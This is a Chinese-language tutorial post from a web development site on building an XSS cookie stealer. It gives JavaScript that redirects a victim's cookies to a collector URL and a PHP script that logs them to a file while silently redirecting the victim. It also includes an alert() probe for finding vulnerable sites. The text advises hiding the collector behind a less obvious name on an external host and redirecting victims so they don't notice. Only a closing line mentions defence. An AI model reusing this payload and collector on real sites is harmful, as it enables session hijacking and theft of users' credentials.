JS写XSS cookie stealer来窃取密码的步骤详解


Posted in Javascript onNovember 20, 2017

JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数。JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie。

Cookie是站点请求和保持特定访问页面的信息。Cookie含有访问的方式、时间、用户名密码等认证信息等。当用户访问给定站点时,必须使用cookie;如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息。对某个特定的域名,使用JS可以保存或修改用户的cookie。也就是说,如果攻击者可以利用JS查看、修改cookie,那么这可以变成一种有价值的黑客技术。

基于JS的攻击可以有效地与代码注入等技术相结合,这可能造成恶意代码在可信的网站上执行。

下面开始创建XSS cookie stealer

Step 1: 创建 HTML Test 页

首先,创建一个标准的HTML页

mkdir cookiestealer
cd cookiestealer
touch index.html

JS写XSS cookie stealer来窃取密码的步骤详解

然后,编辑index.html

nano index.html
<html>
<body>
</body>
</html>

测试页面

JS写XSS cookie stealer来窃取密码的步骤详解

Step 2: 创建Cookie

创建一个可以插入到cookie中的基本参数——字符串。这个cookie只能用于本页面中,同样的,之后的注入也应用于该页面保存的所有cookie。

<script type="text/javascript">document.cookie = "username=Null Byte";</script>

该脚本要插入到HTML的<body>部分,如下:

JS写XSS cookie stealer来窃取密码的步骤详解

如果运行该脚本的页面打开了,那么就会设定cookie,但是浏览器中不会显示任何东西。我们可以用document.write函数直接查看cookie。

document.write(document.cookie);

同样功能的脚本如下:

<script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

JS写XSS cookie stealer来窃取密码的步骤详解

在浏览器中打开页面,就会出现如下的cookie信息:

JS写XSS cookie stealer来窃取密码的步骤详解

说明我们成功地为这个页面设置了"username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。

document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到<script>标签中:

<script type="text/javascript">
 document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
 </script>

HTML页面代码应该是下面这样:

JS写XSS cookie stealer来窃取密码的步骤详解

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中,窃取cookie的PHP文件是cookiestealer.php,位于127.0.0.1网址下。

在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部IP或URL下。

首先,在index.html相同目录下创新PHP文件。

nano cookiestealer.php

第一个元素需要定义的是重定向页面跳转。

<?php
header ('Location:https://google.com');
?>

为了不让用户意识到可能遭到攻击,最好重定向用户到相同域下的其他页面,这样用户就不会意识到。

JS写XSS cookie stealer来窃取密码的步骤详解

重定向完成后,需要其他代码来处理cookie。

1. 分配cookie到一个变量;

$cookies = $_GET"c";

2. 定义保存cookie的文件,这个文件保存的位置应该是我们控制的。

本例中,文件名为log.txt。

$file = fopen('log.txt', 'a');

3. 把上面的两个参数的内容写入log文件,即将cookie写入log.txt。

fwrite($file, $cookies . "nn");

代码如下:

JS写XSS cookie stealer来窃取密码的步骤详解

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

JS写XSS cookie stealer来窃取密码的步骤详解

页面测试成功。

JS写XSS cookie stealer来窃取密码的步骤详解

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

JS写XSS cookie stealer来窃取密码的步骤详解

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

JS写XSS cookie stealer来窃取密码的步骤详解

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

JS写XSS cookie stealer来窃取密码的步骤详解

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的<script>标签中。常用的检测XSS的方法是使用alert。

<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

JS写XSS cookie stealer来窃取密码的步骤详解

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

总结

以上所述是小编给大家介绍的JS写XSS cookie stealer来窃取密码的步骤详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Javascript 相关文章推荐
JavaScript 面向对象的之私有成员和公开成员
May 04 Javascript
javascript中的继承实例代码
Apr 27 Javascript
jQuery.extend 函数的详细用法
Jun 27 Javascript
简略说明Javascript中的= =(等于)与= = =(全等于)区别
Apr 16 Javascript
关于JS数组追加数组采用push.apply的问题
Jun 09 Javascript
使用jquery解析XML示例代码
Sep 05 Javascript
编写自己的jQuery提示框(Tip)插件
Feb 05 Javascript
jQuery的ajax下载blob文件
Jul 21 Javascript
vue监听滚动事件实现滚动监听
Apr 11 Javascript
webuploader实现上传图片到服务器功能
Aug 16 Javascript
在vue中解决提示警告 for循环报错的方法
Sep 28 Javascript
javascript执行上下文、变量对象实例分析
Apr 25 Javascript
浅谈Vue SSR 的 Cookies 问题
Nov 20 #Javascript
three.js中文文档学习之创建场景
Nov 20 #Javascript
Vue 中批量下载文件并打包的示例代码
Nov 20 #Javascript
VueJs 搭建Axios接口请求工具
Nov 20 #Javascript
Vue2 SSR渲染根据不同页面修改 meta
Nov 20 #Javascript
详解vue+css3做交互特效的方法
Nov 20 #Javascript
解读ES6中class关键字
Nov 20 #Javascript
You might like
提升PHP执行速度全攻略(上)
2006/10/09 PHP
写php分页时出现的Fatal error的解决方法
2011/04/18 PHP
PHP运行环境配置与开发环境的配置(图文教程)
2013/06/04 PHP
php curl基本操作详解
2013/07/23 PHP
PHP集成百度Ueditor 1.4.3
2014/11/23 PHP
php支付宝手机网页支付类实例
2015/03/04 PHP
php post大量数据时发现数据丢失问题解决方法
2015/06/20 PHP
简要剖析PHP的Yii框架的组件化机制的基本知识
2016/03/17 PHP
jQuery toggle()设置CSS样式
2009/11/05 Javascript
jQuery弹出(alert)select选择的值
2013/04/21 Javascript
根据身份证号自动输出相关信息(籍贯,出身日期,性别)
2013/11/15 Javascript
JavaScript中setUTCMilliseconds()方法的使用详解
2015/06/12 Javascript
Javascript简单实现面向对象编程继承实例代码
2015/11/27 Javascript
网页中右键功能的实现方法之contextMenu的使用
2017/02/20 Javascript
vue 计时器组件的实现代码
2017/09/14 Javascript
Bootstrap3.3.7导航栏下拉菜单鼠标滑过展开效果
2017/10/31 Javascript
JavaScript变量声明var,let.const及区别浅析
2018/04/23 Javascript
Vue插值、表达式、分隔符、指令知识小结
2018/10/12 Javascript
Vue 实现从小到大的横向滑动效果详解
2019/10/16 Javascript
使用 Github Actions 自动部署 Angular 应用到 Github Pages的方法
2020/07/20 Javascript
Python实现SSH远程登陆,并执行命令的方法(分享)
2017/05/08 Python
Python字典实现简单的三级菜单(实例讲解)
2017/07/31 Python
Python中数组,列表:冒号的灵活用法介绍(np数组,列表倒序)
2018/04/18 Python
Python3从零开始搭建一个语音对话机器人的实现
2019/08/23 Python
HTML5中如何显示视频呢 HTML5视频播放demo
2013/06/08 HTML / CSS
美国在线家装零售商:Build.com
2016/09/02 全球购物
Expedia爱尔兰:酒店、机票、租车及廉价假期
2017/01/02 全球购物
德国、奥地利和瑞士最大的旅行和度假门户网站:HolidayCheck
2019/11/14 全球购物
为什么group by 和order by会使查询变慢
2014/05/16 面试题
社区党总支书记先进事迹材料
2014/01/24 职场文书
男方父母婚礼答谢词
2014/01/25 职场文书
大三学生做职业规划:给未来找个方向
2014/02/24 职场文书
《少年王冕》教学反思
2014/04/11 职场文书
助学金感谢信
2015/01/20 职场文书
Redis如何实现分布式锁
2021/08/23 Redis
Nginx配置根据url参数重定向
2022/04/11 Servers